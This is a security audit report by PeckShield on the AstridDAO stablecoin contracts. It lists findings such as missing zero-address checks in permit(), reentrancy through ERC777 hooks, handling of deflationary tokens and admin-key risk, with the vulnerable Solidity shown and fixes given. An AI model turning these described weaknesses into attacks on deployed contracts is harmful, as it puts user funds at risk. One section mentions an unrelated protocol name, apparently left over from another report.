_DECIMALS; } function version() external pure override returns (string memory) { return _VERSION; } function permitTypeHash() external pure override returns (bytes32) { return _PERMIT_TYPEHASH; } }
Public SMART CONTRACT AUDIT REPORT for AstridDAO Prepared By: Xiaomi Huang PeckShield May 22, 2022 1/28 PeckShield Audit Report #: 2022-200Public Document Properties Client AstridDAO Title Smart Contract Audit Report Target AstridDAO Version 1.0 Author Xiaotao Wu Auditors Xiaotao Wu, Xuxian Jiang Reviewed by Xiaomi Huang Approved by Xuxian Jiang Classification Public Version Info Version Date Author(s) Description 1.0 May 22, 2022 Xiaotao Wu Final Release 1.0-rc1 May 18, 2022 Xiaotao Wu Release Candidate #1 Contact For more information about this document and its contents, please contact PeckShield Inc. Name Xiaomi Huang Phone +86 183 5897 7782 Email contact@peckshield.com 2/28 PeckShield Audit Report #: 2022-200Public Contents 1 Introduction 4 1.1 About AstridDAO . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.2 About PeckShield . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.3 Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.4 Disclaimer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 2 Findings 9 2.1 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 2.2 Key Findings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3 Detailed Results 11 3.1 Improved Validation in BAIToken/ATIDToken::permit() . . . . . . . . . . . . . . . . 11 3.2 Accommodation of Non-ERC20-Compliant Tokens . . . . . . . . . . . . . . . . . . . 12 3.3 Improved Validation On Protocol Parameters . . . . . . . . . . . . . . . . . . . . . . 14 3.4 Trust Issue of Admin Keys . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 3.5 Improved Vault Close Logic in VaultManager . . . . . . . . . . . . . . . . . . . . . . 17 3.6 Potential Reentrancy Risks In AstridDAO . . . . . . . . . . . . . . . . . . . . . . . . 19 3.7 Incompatibility with Deflationary/Rebasing Tokens . . . . . . . . . . . . . . . . . . . 20 3.8 Improved Sanity Checks Of System/Function Parameters . . . . . . . . . . . . . . . 22 3.9 Inconsistent Implementation In ATIDStaking::_insertLockedStake() . . . . . . . . . . 23 3.10 Consistent Event Generation of CollateralAddressChanged . . . . . . . . . . . . . . . 24 4 Conclusion 26 References 27 3/28 PeckShield Audit Report #: 2022-200Public 1 | Introduction Given the opportunity to review the design document and related smart contract source code of the AstridDAO protocol, we outline in the report our systematic approach to evaluate potential security issues in the smart contract implementation, expose possible semantic inconsistencies between smart contract code and design document, and provide additional suggestions or recommendations for improvement. Our results show that the given version of smart contracts can be further improved due to the presence of several issues related to either security or performance. This document outlines our audit results. 1.1 About AstridDAO The AstridDAO is a decentralized money market and multi-collateral stablecoin protocol built on Astar and for the Polkadot ecosystem, which allows users to borrow BAI, a stablecoin hard-pegged to USD, against risk assets at 0% interest and minimum collateral ratio. AstridDAO allows users to use the value in their risk assets (including ASTR,BTC,ETH, and DOT) without having to sell them. The basic information of the audited protocol is as follows: Table 1.1: Basic Information of The AstridDAO ItemDescription IssuerAstridDAO Website https://astriddao.xyz/ TypeEVM Smart Contract Platform Solidity Audit Method Whitebox Latest Audit Report May 22, 2022 In the following, we show the Git repository of reviewed files and the commit hash value used in this audit. •https://github.com/AstridDao/contracts.git (d72839d) 4/28 PeckShield Audit Report #: 2022-200Public And here is the commit ID after all fixes for the issues found in the audit have been checked in: •https://github.com/AstridDAO/contracts/tree/auditing/contracts (c0a5bc3) 1.2 About PeckShield PeckShield Inc. [12] is a leading blockchain security company with the goal of elevating the secu- rity, privacy, and usability of current blockchain ecosystems by offering top-notch, industry-leading servicesandproducts(includingtheserviceofsmartcontractauditing). WearereachableatTelegram (https://t.me/peckshield),Twitter( http://twitter.com/peckshield),orEmail( contact@peckshield.com). Table 1.2: Vulnerability Severity ClassificationImpactHigh Critical High Medium Medium High Medium Low Low Medium Low Low High Medium Low Likelihood 1.3 Methodology To standardize the evaluation, we define the following terminology based on OWASP Risk Rating Methodology [11]: •Likelihood represents how likely a particular vulnerability is to be uncovered and exploited in the wild; •Impact measures the technical loss and business damage of a successful attack; •Severity demonstrates the overall criticality of the risk. Likelihood and impact are categorized into three ratings: H,MandL, i.e.,high,mediumand lowrespectively. Severity is determined by likelihood and impact and can be classified into four categories accordingly, i.e., Critical,High,Medium,Lowshown in Table 1.2. To evaluate the risk, we go through a list of check items and each would be labeled with a severity category. For one check item, if our tool or analysis does not identify any issue, the 5/28 PeckShield Audit Report #: 2022-200Public Table 1.3: The Full List of Check Items Category Check Item Basic Coding BugsConstructor Mismatch Ownership Takeover Redundant Fallback Function Overflows & Underflows Reentrancy Money-Giving Bug Blackhole Unauthorized Self-Destruct Revert DoS Unchecked External Call Gasless Send Send Instead Of Transfer Costly Loop (Unsafe) Use Of Untrusted Libraries (Unsafe) Use Of Predictable Variables Transaction Ordering Dependence Deprecated Uses Semantic Consistency Checks Semantic Consistency Checks Advanced DeFi ScrutinyBusiness Logics Review Functionality Checks Authentication Management Access Control & Authorization Oracle Security Digital Asset Escrow Kill-Switch Mechanism Operation Trails & Event Generation ERC20 Idiosyncrasies Handling Frontend-Contract Integration Deployment Consistency Holistic Risk Management Additional RecommendationsAvoiding Use of Variadic Byte Array Using Fixed Compiler Version Making Visibility Level Explicit Making Type Inference Explicit Adhering To Function Declaration Strictly Following Other Best Practices 6/28 PeckShield Audit Report #: 2022-200Public contract is considered safe regarding the check item. For any discovered issue, we might further deploy contracts on our private testnet and run tests to confirm the findings. If necessary, we would additionally build a PoC to demonstrate the possibility of exploitation. The concrete list of check items is shown in Table 1.3. In particular, we perform the audit according to the following procedure: •BasicCodingBugs: We first statically analyze given smart contracts with our proprietary static code analyzer for known coding bugs, and then manually verify (reject or confirm) all the issues found by our tool. •Semantic Consistency Checks: We then manually check the logic of implemented smart con- tracts and compare with the description in the white paper. •Advanced DeFiScrutiny: We further review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. •Additional Recommendations: We also provide additional suggestions regarding the coding and development of smart contracts from the perspective of proven programming practices. To better describe each issue we identified, we categorize the findings with Common Weakness Enumeration (CWE-699) [10], which is a community-developed list of software weakness types to better delineate and organize weaknesses around concepts frequently encountered in software devel- opment. Though some categories used in CWE-699 may not be relevant in smart contracts, we use the CWE categories in Table 1.4 to classify our findings. 1.4 Disclaimer Note that this security audit is not designed to replace functional tests required before any software release, and does not give any warranties on finding all possible security issues of the given smart contract(s) or blockchain software, i.e., the evaluation result does not guarantee the nonexistence of any further findings of security issues. As one audit-based assessment cannot be considered comprehensive, we always recommend proceeding with several independent audits and a public bug bounty program to ensure the security of smart contract(s). Last but not least, this security audit should not be used as investment advice. 7/28 PeckShield Audit Report #: 2022-200Public Table 1.4: Common Weakness Enumeration (CWE) Classifications Used in This Audit Category Summary Configuration Weaknesses in this category are typically introduced during the configuration of the software. Data Processing Issues Weaknesses in this category are typically found in functional- ity that processes data. Numeric Errors Weaknesses in this category are related to improper calcula- tion or conversion of numbers. Security Features Weaknesses in this category are concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management. (Software security is not security software.) Time and State Weaknesses in this category are related to the improper man- agement of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads. Error Conditions, Return Values, Status CodesWeaknesses in this category include weaknesses that occur if a function does not generate the correct return/status code, or if the application does not handle all possible return/status codes that could be generated by a function. Resource Management Weaknesses in this category are related to improper manage- ment of system resources. Behavioral Issues Weaknesses in this category are related to unexpected behav- iors from code that an application uses. Business Logics Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application. Errors in business logic can be devastating to an entire application. Initialization and Cleanup Weaknesses in this category occur in behaviors that are used for initialization and breakdown. Arguments and Parameters Weaknesses in this category are related to improper use of arguments or parameters within function calls. Expression Issues Weaknesses in this category are related to incorrectly written expressions within code. Coding Practices Weaknesses in this category are related to coding practices that are deemed unsafe and increase the chances that an ex- ploitable vulnerability will be present in the application. They may not directly introduce a vulnerability, but indicate the product has not been carefully developed or maintained. 8/28 PeckShield Audit Report #: 2022-200Public 2 | Findings 2.1 Summary Here is a summary of our findings after analyzing the AstridDAO protocol implementation. During the first phase of our audit, we study the smart contract source code and run our in-house static code analyzer through the codebase. The purpose here is to statically identify known coding bugs, and then manually verify (reject or confirm) issues reported by our tool. We further manually review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. Severity # of Findings Critical 0 High 0 Medium 2 Low 5 Informational 3 Total 10 We have so far identified a list of potential issues: some of them involve subtle corner cases that might not be previously thought of, while others refer to unusual interactions among multiple contracts. For each uncovered issue, we have therefore developed test cases for reasoning, reproduc- tion, and/or verification. After further analysis and internal discussion, we determined a few issues of varying severities that need to be brought up and paid more attention to, which are categorized in the above table. More information can be found in the next subsection, and the detailed discussions of each of them are in Section 3. 9/28 PeckShield Audit Report #: 2022-200Public 2.2 Key Findings Overall, these smart contracts are well-designed and engineered, though the implementation can be improved by resolving the identified issues (shown in Table 2.1), including 2medium-severity vulnerabilities, 5low-severity vulnerabilities, and 3informational suggestions. Table 2.1: Key AstridDAO Audit Findings ID Severity Title Category Status PVE-001 Low Improved Validation in BAITo- ken/ATIDToken::permit()Coding Practices Resolved PVE-002 Low Accommodation of Non-ERC20- Compliant TokensBusiness Logic Resolved PVE-003 Low Improved Validation On Protocol Pa- rametersCoding Practices Resolved PVE-004 Medium Trust Issue of Admin Keys Security Features Confirmed PVE-005 Low Improved Vault Close Logic in Vault- ManagerBusiness Logic Resolved PVE-006 Low Potential Reentrancy Risks In Astrid- DAOTime and State Resolved PVE-007 Medium Incompatibility with Deflationary/Re- basing TokensBusiness Logic Resolved PVE-008 Informational Improved Sanity Checks Of System/- Function ParametersCoding Practices Resolved PVE-009 Informational Inconsistent Implementation In ATID- Staking::_insertLockedStake()Coding Practices Resolved PVE-010 Informational Consistent Event Generation of Collat- eralAddressChangedCoding Practices Resolved Besides recommending specific countermeasures to mitigate these issues, we also emphasize that it is always important to develop necessary risk-control mechanisms and make contingency plans, which may need to be exercised before the mainnet deployment. The risk-control mechanisms need to kick in at the very moment when the contracts are being deployed in mainnet. Please refer to Section 3 for details. 10/28 PeckShield Audit Report #: 2022-200Public 3 | Detailed Results 3.1 Improved Validation in BAIToken/ATIDToken::permit() •ID: PVE-001 •Severity: Low •Likelihood: Low •Impact: Low•Target: BAIToken, ATIDToken •Category: Coding Practices [7] •CWE subcategory: CWE-563 [3] Description The AstridDAO protocol has two tokens BAIToken and ATIDToken , each supporting the EIP2612func- tionality. In particular, the permit() function is introduced to simplify the token transfer process. To elaborate, we show below this helper routine from the BAIToken contract. This routine ensures that the given owneris indeed the one who signs the approve request. Note that the internal implementation makes use of the ecrecover() precompile for validation. It comes to our attention that the precompile-based validation needs to properly ensure the signer, i.e., owner, is not equal to address(0) . This issue is also applicable to the ATIDToken token contract. 194 function permit 195 ( 196 address owner , 197 address spender , 198 uint amount , 199 uint deadline , 200 uint8 v, 201 bytes32 r, 202 bytes32 s 203 ) 204 external 205 override 206 { 207 require ( deadline >= block . timestamp , "BAI : expired deadline "); 208 bytes32 digest = keccak256 ( abi . encodePacked (’\x19 \x01 ’, 209 domainSeparator () , keccak256 (abi . encode ( 11/28 PeckShield Audit Report #: 2022-200Public 210 _PERMIT_TYPEHASH , owner , spender , amount , 211 _nonces [ owner ]++ , deadline )))); 212 address recoveredAddress = ecrecover ( digest , v, r, s); 213 require ( recoveredAddress == owner , " BAI : invalid signature "); 214 _approve (owner , spender , amount ); 215 } Listing 3.1: BAIToken::permit() Recommendation Strengthen the permit() routine to ensure the owneris not equal to address (0). Status The issue has been fixed by this commit: c0a5bc3. 3.2 Accommodation of Non-ERC20-Compliant Tokens •ID: PVE-002 •Severity: Low •Likelihood: Low •Impact: High•Target: Multiple contracts •Category: Business Logic [8] •CWE subcategory: CWE-841 [5] Description Though there is a standardized ERC-20 specification, many token contracts may not strictly follow the specification or have additional functionalities beyond the specification. In the following, we examine the transfer() routine and related idiosyncrasies from current widely-used token contracts. In particular, we use the popular token, i.e., ZRX, as our example. We show the related code snippet below. On its entry of transfer() , there is a check, i.e., if (balances[msg.sender] >= _value && balances[_to] + _value >= balances[_to]) . If the check fails, it returns false. However, the transaction still proceeds successfully without being reverted. This is not compliant with the ERC20 standard and may cause issues if not handled properly. Specifically, the ERC20 standard specifies the following: “Transfers _value amount of tokens to address _to, and MUST fire the Transfer event. The function SHOULD throw if the message caller’s account balance does not have enough tokens to spend.” 64 function t r a n s f e r (address _to , uint _value ) r e t u r n s (bool ) { 65 // Default assumes totalSupply can ’t be over max (2^256 - 1). 66 i f( b a l a n c e s [ msg.sender ] >= _value && b a l a n c e s [ _to ] + _value >= b a l a n c e s [ _to ] ) { 67 b a l a n c e s [ msg.sender ]−= _value ; 68 b a l a n c e s [ _to ] += _value ; 69 Transfer (msg.sender , _to , _value ) ; 70 return true ; 71 }e l s e {return f a l s e ; } 12/28 PeckShield Audit Report #: 2022-200Public 72 } 74 function t r a n s f e r F r o m ( address _from , address _to , uint _value ) r e t u r n s (bool ) { 75 i f( b a l a n c e s [ _from ] >= _value && a l l o w e d [ _from ] [ msg.sender ] >= _value && b a l a n c e s [ _to ] + _value >= b a l a n c e s [ _to ] ) { 76 b a l a n c e s [ _to ] += _value ; 77 b a l a n c e s [ _from ] −= _value ; 78 a l l o w e d [ _from ] [ msg.sender ]−= _value ; 79 Transfer ( _from , _to , _value ) ; 80 return true ; 81 }e l s e {return f a l s e ; } 82 } Listing 3.2: ZRX.sol Because of that, a normal call to transfer() is suggested to use the safe version, i.e., safeTransfer (), In essence, it is a wrapper around ERC20 operations that may either throw on failure or return false without reverts. Moreover, the safe version also supports tokens that return no value (and instead revert or throw on failure). Note that non-reverting calls are assumed to be successful. Similarly, there is a safe version of transferFrom() as well, i.e., safeTransferFrom() . Inthefollowing, weshowthe _sendCOLGainToUser() routineinthe ATIDStaking contract. Ifthe USDT token is supported as IERC20(token) , the unsafe version of colToken.transfer(msg.sender, COLGain) (line 351) may revert as there is no return value in the USDTtoken contract’s transfer() implemen- tation (but the require statement in line 352expects a return value)! 349 function _sendCOLGainToUser ( uint COLGain ) internal { 350 emit COLSent ( msg . sender , COLGain ); 351 bool success = colToken . transfer ( msg. sender , COLGain ); 352 require ( success , " ATIDStaking : Failed to send accumulated COLGain "); 353 } Listing 3.3: ATIDStaking::_sendCOLGainToUser() Noteanumberofroutinesinthe AstridDAO protocolcanbesimilarlyimproved,including ActivePool ::sendCOL()/sendCOLToCollSurplusPool()/sendCOLToDefaultPool()/sendCOLToStabilityPool() ,Borrowe- rOperations::_activePoolAddColl()/openVault()/addColl()/adjustVault() ,CollSurplusPool::claimColl (),DefaultPool::sendCOLToActivePool() , and StabilityPool::withdrawCOLGainToVault()/_sendCOLGai- nToDepositor() . Recommendation Accommodate the above-mentioned idiosyncrasy about ERC20-related transfer()/transferFrom() . Status This issue has been resolved as the team confirms that the AstridDAO protocol will not support Non-ERC20-Compliant tokens. 13/28 PeckShield Audit Report #: 2022-200Public 3.3 Improved Validation On Protocol Parameters •ID: PVE-003 •Severity: Low •Likelihood: Low •Impact: Low•Target: AstridBase •Category: Coding Practices [7] •CWE subcategory: CWE-1126 [1] Description DeFi protocols typically have a number of system-wide parameters that can be dynamically config- ured on demand. The AstridDAO protocol is no exception. Specifically, if we examine the AstridBase contract, it has defined a number of protocol-wide risk parameters, such as BAI_GAS_COMPENSATION , MIN_NET_DEBT ,PERCENT_DIVISOR , and BORROWING_FEE_FLOOR , etc. In the following, we show the corre- sponding routines that allow for their changes. 108 function setBAIGasCompensation ( uint newBAIGasCompensation ) public onlyOwner { 109 BAI_GAS_COMPENSATION = newBAIGasCompensation ; 110 } 111 function setMinNetDebt ( uint newMinNetDebt ) public onlyOwner { 112 MIN_NET_DEBT = newMinNetDebt ; 113 } Listing 3.4: AstridBase::setBAIGasCompensation()/setMinNetDebt() 114 function setPercentageDivisor ( uint newPercentageDivisor ) public onlyOwner { 115 PERCENT_DIVISOR = newPercentageDivisor ; 116 } 117 function setBorrowingFeeFloor ( uint newBorrowingFeeFloor ) public onlyOwner { 118 BORROWING_FEE_FLOOR = newBorrowingFeeFloor ; 119 } Listing 3.5: AstridBase::setPercentageDivisor()/setBorrowingFeeFloor() 120 function setAddresses ( 121 address _activePool , 122 address _defaultPool , 123 address _priceFeed 124 ) public onlyOwner { 125 activePool = IActivePool ( _activePool ); 126 defaultPool = IDefaultPool ( _defaultPool ); 127 priceFeed = IPriceFeed ( _priceFeed ); 128 } 129 130 function setParams ( 131 uint _MCR , 132 uint _CCR , 133 uint _BAIGasCompensation , 14/28 PeckShield Audit Report #: 2022-200Public 134 uint _minNetDebt , 135 uint _percentageDivisor , 136 uint _borrowingFeeFloor , 137 address _activePool , 138 address _defaultPool , 139 address _priceFeed 140 ) public onlyOwner { 141 MCR = _MCR ; 142 CCR = _CCR ; 143 BAI_GAS_COMPENSATION = _BAIGasCompensation ; 144 MIN_NET_DEBT = _minNetDebt ; 145 PERCENT_DIVISOR = _percentageDivisor ; 146 BORROWING_FEE_FLOOR = _borrowingFeeFloor ; 147 activePool = IActivePool ( _activePool ); 148 defaultPool = IDefaultPool ( _defaultPool ); 149 priceFeed = IPriceFeed ( _priceFeed ); 150 } Listing 3.6: AstridBase::setAddresses()/setParams() These parameters define various aspects of the protocol operation and maintenance and need to exercise extra care when configuring or updating them. Our analysis shows the update logic on these parameters can be improved by applying more rigorous sanity checks. Based on the current implementation, certain corner cases may lead to an undesirable consequence. For example, the AstridDAO users may suffer asset losses if the global parameter CCRis set to an extremely huge value by an unlikely mis-configuration. Recommendation Validateanychangesregardingthesesystem-wideparameterstoensurethey fall in an appropriate range. If necessary, also consider emitting relevant events for their changes. Status The issue has been fixed by this commit: c0a5bc3. 3.4 Trust Issue of Admin Keys •ID: PVE-004 •Severity: Medium •Likelihood: Low •Impact: High•Target: Multiple contracts •Category: Security Features [6] •CWE subcategory: CWE-287 [2] Description In the AstridDAO protocol, there are some privileged account, i.e., owners. These privileged accounts play critical roles in governing and regulating the system-wide operations (e.g., configure protocol parameters, execute privileged operations, etc.). Our analysis shows that these privileged accounts 15/28 PeckShield Audit Report #: 2022-200Public needs to be scrutinized. In the following, we use the AstridBase contract as an example and show the representative functions potentially affected by the privileges of the owneraccount. 98 // --- System parameters modification functions --- 99 // All below calls require owner . 100 function setMCR ( uint newMCR ) public onlyOwner { 101 require ( newMCR > _100pct , " MCR cannot < 100% "); 102 MCR = newMCR ; 103 } 104 function setCCR ( uint newCCR ) public onlyOwner { 105 require ( newCCR > _100pct , " CCR cannot < 100% "); 106 CCR = newCCR ; 107 } Listing 3.7: AstridBase::setMCR()/setCCR() 108 function setBAIGasCompensation ( uint newBAIGasCompensation ) public onlyOwner { 109 BAI_GAS_COMPENSATION = newBAIGasCompensation ; 110 } 111 function setMinNetDebt ( uint newMinNetDebt ) public onlyOwner { 112 MIN_NET_DEBT = newMinNetDebt ; 113 } Listing 3.8: AstridBase::setBAIGasCompensation()/setMinNetDebt() 114 function setPercentageDivisor ( uint newPercentageDivisor ) public onlyOwner { 115 PERCENT_DIVISOR = newPercentageDivisor ; 116 } 117 function setBorrowingFeeFloor ( uint newBorrowingFeeFloor ) public onlyOwner { 118 BORROWING_FEE_FLOOR = newBorrowingFeeFloor ; 119 } Listing 3.9: AstridBase::setPercentageDivisor()/setBorrowingFeeFloor() 120 function setAddresses ( 121 address _activePool , 122 address _defaultPool , 123 address _priceFeed 124 ) public onlyOwner { 125 activePool = IActivePool ( _activePool ); 126 defaultPool = IDefaultPool ( _defaultPool ); 127 priceFeed = IPriceFeed ( _priceFeed ); 128 } 129 130 function setParams ( 131 uint _MCR , 132 uint _CCR , 133 uint _BAIGasCompensation , 134 uint _minNetDebt , 135 uint _percentageDivisor , 136 uint _borrowingFeeFloor , 137 address _activePool , 16/28 PeckShield Audit Report #: 2022-200Public 138 address _defaultPool , 139 address _priceFeed 140 ) public onlyOwner { 141 MCR = _MCR ; 142 CCR = _CCR ; 143 BAI_GAS_COMPENSATION = _BAIGasCompensation ; 144 MIN_NET_DEBT = _minNetDebt ; 145 PERCENT_DIVISOR = _percentageDivisor ; 146 BORROWING_FEE_FLOOR = _borrowingFeeFloor ; 147 activePool = IActivePool ( _activePool ); 148 defaultPool = IDefaultPool ( _defaultPool ); 149 priceFeed = IPriceFeed ( _priceFeed ); 150 } Listing 3.10: AstridBase::setAddresses()/setParams() If the privileged owneraccount is a plain EOA account, this may be worrisome and pose counter- party risk to the protocol users. Note that a multi-sig account could greatly alleviate this concern, though it is still far from perfect. Specifically, a better approach is to eliminate the administration key concern by transferring the role to a community-governed DAO. In the meantime, a timelock-based mechanism can also be considered as mitigation. Moreover, it should be noted if current contracts are to be deployed behind a proxy, there is a need to properly manage the proxy-admin privileges as they fall in this trust issue as well. Recommendation Promptly transfer the privileged account to the intended DAO-like governance contract. All changed to privileged operations may need to be mediated with necessary timelocks. Eventually, activate the normal on-chain community-based governance life-cycle and ensure the in- tended trustless nature and high-quality distributed governance. Status This issue has been confirmed. The AstridDAO team confirms that there will be a smoother transition from team ownership to DAOgovernance in the future. 3.5 Improved Vault Close Logic in VaultManager •ID: PVE-005 •Severity: Low •Likelihood: Low •Impact: Low•Target: VaultManager •Category: Business Logic [8] •CWE subcategory: CWE-841 [5] Description Atthecoreof AstridDAO isthe VaultManager contractwhichcontainsthelogictoopen, adjustandclose various vaults. Note each vault is in essence an individual collateralized debt position for borrowing 17/28 PeckShield Audit Report #: 2022-200Public users. While reviewing the current vault-closing logic, we notice the current implementation can be improved. Toelaborate, weshowbelowtherelated _closeVault() routine. Thecurrentlogicproperlyreleases unused states, including the vault coll,debt, as well as the associated rewardSnapshots . However, it does not release the vault index in the global owners, i.e., VaultOwners . The release of arrayIndex needs to be performed after the call _removeVaultOwner() is completed. 1229 function _closeVault ( address _borrower , Status closedStatus ) internal { 1230 assert ( closedStatus != Status . nonExistent && closedStatus != Status . active ); 1231 1232 uint VaultOwnersArrayLength = VaultOwners . length ; 1233 _requireMoreThanOneVaultInSystem ( VaultOwnersArrayLength ); 1234 1235 Vaults [ _borrower ]. status = closedStatus ; 1236 Vaults [ _borrower ]. coll = 0; 1237 Vaults [ _borrower ]. debt = 0; 1238 1239 rewardSnapshots [ _borrower ]. COL = 0; 1240 rewardSnapshots [ _borrower ]. BAIDebt = 0; 1241 1242 _removeVaultOwner ( _borrower , VaultOwnersArrayLength ); 1243 sortedVaults . remove ( _borrower ); 1244 } Listing 3.11: VaultManager::_closeVault() Recommendation Release all unused states once a vault is closed. An example revision is shown below: 1229 function _closeVault ( address _borrower , Status closedStatus ) internal { 1230 assert ( closedStatus != Status . nonExistent && closedStatus != Status . active ); 1231 1232 uint VaultOwnersArrayLength = VaultOwners . length ; 1233 _requireMoreThanOneVaultInSystem ( VaultOwnersArrayLength ); 1234 1235 Vaults [ _borrower ]. status = closedStatus ; 1236 Vaults [ _borrower ]. coll = 0; 1237 Vaults [ _borrower ]. debt = 0; 1238 1239 rewardSnapshots [ _borrower ]. COL = 0; 1240 rewardSnapshots [ _borrower ]. BAIDebt = 0; 1241 1242 _removeVaultOwner ( _borrower , VaultOwnersArrayLength ); 1243 sortedVaults . remove ( _borrower ); 1244 Vaults [ _borrower ]. arrayIndex = 0; 1245 } Listing 3.12: VaultManager::_closeVault() Status The issue has been fixed by this commit: c0a5bc3. 18/28 PeckShield Audit Report #: 2022-200Public 3.6 Potential Reentrancy Risks In AstridDAO •ID: PVE-006 •Severity: Low •Likelihood: Low •Impact: Low•Target: Multiple contracts •Category: Time and State [9] •CWE subcategory: CWE-682 [4] Description The BorrowerOperations contract of AstridDAO provides an external addColl() function for users to add collateral to a vault. While reviewing the current BorrowerOperations contract, we notice there is a potential reentrancy risk in current implementation. To elaborate, we show below the code snippet of the addColl() routine in BorrowerOperations . The execution logic is rather straightforward: it firstly transfers the COLToken from the msg.sender to the BorrowerOperations contract, and then performs a collateral top-up for the msg.sender . If the COLToken faithfully implements the ERC777-like standard, then the addColl() routine is vulnerable to reentrancy and this risk needs to be properly mitigated. Specifically, the ERC777 standard normalizes the ways to interact with a token contract while remaining backward compatible with ERC20. Among various features, it supports send/receive hooks to offer token holders more control over their tokens. Specifically, when transfer() ortransferFrom ()actions happen, the owner can be notified to make a judgment call so that she can control (or even reject) which token they send or receive by correspondingly registering tokensToSend() and tokensReceived() hooks. Consequently, any transfer() ortransferFrom() of ERC777-based tokens might introduce the chance for reentrancy or hook execution for unintended purposes (e.g., mining GasTokens). In our case, the above hook can be planted in COLToken.transferFrom() (line 215) before the actual transfer of the underlying assets occurs. So far, we also do not know how an attacker can exploit this issue to earn profit. After internal discussion, we consider it is necessary to bring this issue up to the team. Though the implementation of the addColl() function is well designed, we may intend to use the ReentrancyGuard::nonReentrant modifier to protect the addColl() function at the whole protocol level. 212 // Send collateral to a vault 213 function addColl ( uint _amount , address _upperHint , address _lowerHint ) external override { 214 // NOTE ( Astrid ): The vault owner should grant allowance to BorrowerOperations beforehand . 215 bool success = COLToken . transferFrom ( msg. sender , address ( this ), _amount ); 216 require ( success , " BorrowerOperations : failed to add collateral to vault ."); 19/28 PeckShield Audit Report #: 2022-200Public 218 _adjustVault ( msg . sender , /* _collChange =*/ _amount , /* _isCollIncrease =*/( _amount > 0) , /* _BAIChange =*/0, /* _isDebtIncrease =*/ false , _upperHint , _lowerHint , 0) ; 219 } Listing 3.13: BorrowerOperations::addColl() Noteanumberofroutinesinthe AstridDAO protocolcanbesimilarlyimproved,including BorrowerOperations ::_activePoolAddColl()/openVault()/adjustVault() ,and StabilityPool::withdrawCOLGainToVault()/_sendCOLGainToDepositor (). Recommendation Apply the non-reentrancy protection in the above-mentioned routine. Status The issue has been fixed by this commit: c0a5bc3. 3.7 Incompatibility with Deflationary/Rebasing Tokens •ID: PVE-007 •Severity: Medium •Likelihood: Low •Impact: High•Target: Multiple contracts •Category: Business Logic [8] •CWE subcategory: CWE-841 [5] Description As mentioned in Section 3.6, the BorrowerOperations contract provides an external addColl() function for users to add collateral to a vault. Naturally, the contract implements a number of low-level helper routines to transfer assets in or out of the BorrowerOperations contract. These asset-transferring rou- tines work as expected with standard ERC20 tokens: namely the contract’s internal asset balances are always consistent with actual token balances maintained in individual ERC20 token contract. In the following, we show the addColl() routine that is used to transfer COLToken to the BorrowerOperations contract. 212 // Send collateral to a vault 213 function addColl ( uint _amount , address _upperHint , address _lowerHint ) external override { 214 // NOTE ( Astrid ): The vault owner should grant allowance to BorrowerOperations beforehand . 215 bool success = COLToken . transferFrom ( msg. sender , address ( this ), _amount ); 216 require ( success , " BorrowerOperations : failed to add collateral to vault ."); 218 _adjustVault ( msg . sender , /* _collChange =*/ _amount , /* _isCollIncrease =*/( _amount > 0) , /* _BAIChange =*/0, /* _isDebtIncrease =*/ false , _upperHint , _lowerHint , 0) ; 20/28 PeckShield Audit Report #: 2022-200Public 219 } Listing 3.14: BorrowerOperations::addColl() However, there exist other ERC20 tokens that may make certain customizations to their ERC20 contracts. One type of these tokens is deflationary tokens that charge a certain fee for every transfer ()ortransferFrom() . (Anothertypeisrebasingtokenssuchas YAM.) Asaresult, thismaynotmeetthe assumption behind these low-level asset-transferring routines. In other words, the above operations, such as swapExactAmountIn() , may introduce unexpected balance inconsistencies when comparing internal asset records with external ERC20 token contracts. Onepossiblemitigationistomeasuretheassetchangerightbeforeandaftertheasset-transferring routines. In other words, instead of expecting the amount parameter in transfer() ortransferFrom() will always result in full transfer, we need to ensure the increased or decreased amount in the contract before and after the transfer() ortransferFrom() is expected and aligned well with our operation. Another mitigation is to regulate the set of ERC20 tokens that are permitted into Velo FCX for trading. Meanwhile, there exist certain assets that may exhibit control switches that can be dynamically exercised to convert into deflationary. Note a number of routines in the AstridDAO protocol shares the same issue, including ActivePool:: sendCOL()/sendCOLToCollSurplusPool()/sendCOLToDefaultPool()/sendCOLToStabilityPool() ,BorrowerOperations ::_activePoolAddColl()/openVault()/adjustVault() ,CollSurplusPool::claimColl() ,DefaultPool::sendCOLToActivePool (), and StabilityPool::withdrawCOLGainToVault()/_sendCOLGainToDepositor() . Recommendation If current codebase needs to support deflationary tokens, it is necessary to check the balance before and after the transfer()/transferFrom() call to ensure the book-keeping amount is accurate. This support may bring additional gas cost. Also, keep in mind that certain tokens may not be deflationary for the time being. However, they could have a control switch that can be exercised to turn them into deflationary tokens. One example is the widely-adopted USDT. Status This issue has been resolved as the team confirms that currently the AstridDAO protocol will not support deflationary/rebasing tokens. 21/28 PeckShield Audit Report #: 2022-200Public 3.8 Improved Sanity Checks Of System/Function Parameters •ID: PVE-008 •Severity: Informational •Likelihood: N/A •Impact: N/A•Target: LockupContract •Category: Coding Practices [7] •CWE subcategory: CWE-1126 [1] Description In the LockupContract contract, the withdrawATID() function is used to withdraw a certain amount of ATIDfrom the contract to the beneficiary . While reviewing the implementation of this routine, we notice that it can benefit from additional sanity checks. To elaborate, we show below the implementation of the withdrawATID() function. Specifically, the current implementation fails to check the given argument in amount. As a result, a user could withdrawATID(0) and transfer zero tokens, which is a waste of gas. 97 // Withdraw a certain amount of ATID from this contract to the beneficiary . 98 function withdrawATID ( uint amount ) external { 99 require ( canWithdraw ( amount ), " LockupContract : requested amount cannot be withdrawed "); 100 101 IATIDToken atidTokenCached = atidToken ; 102 // Also subject to initial locked time . 103 require ( atidTokenCached . transfer ( beneficiary , amount ), " LockupContract : cannot withdraw ATID "); 104 claimedAmount += amount ; 105 106 emit LockupContractWithdrawn ( amount ); 107 } Listing 3.15: 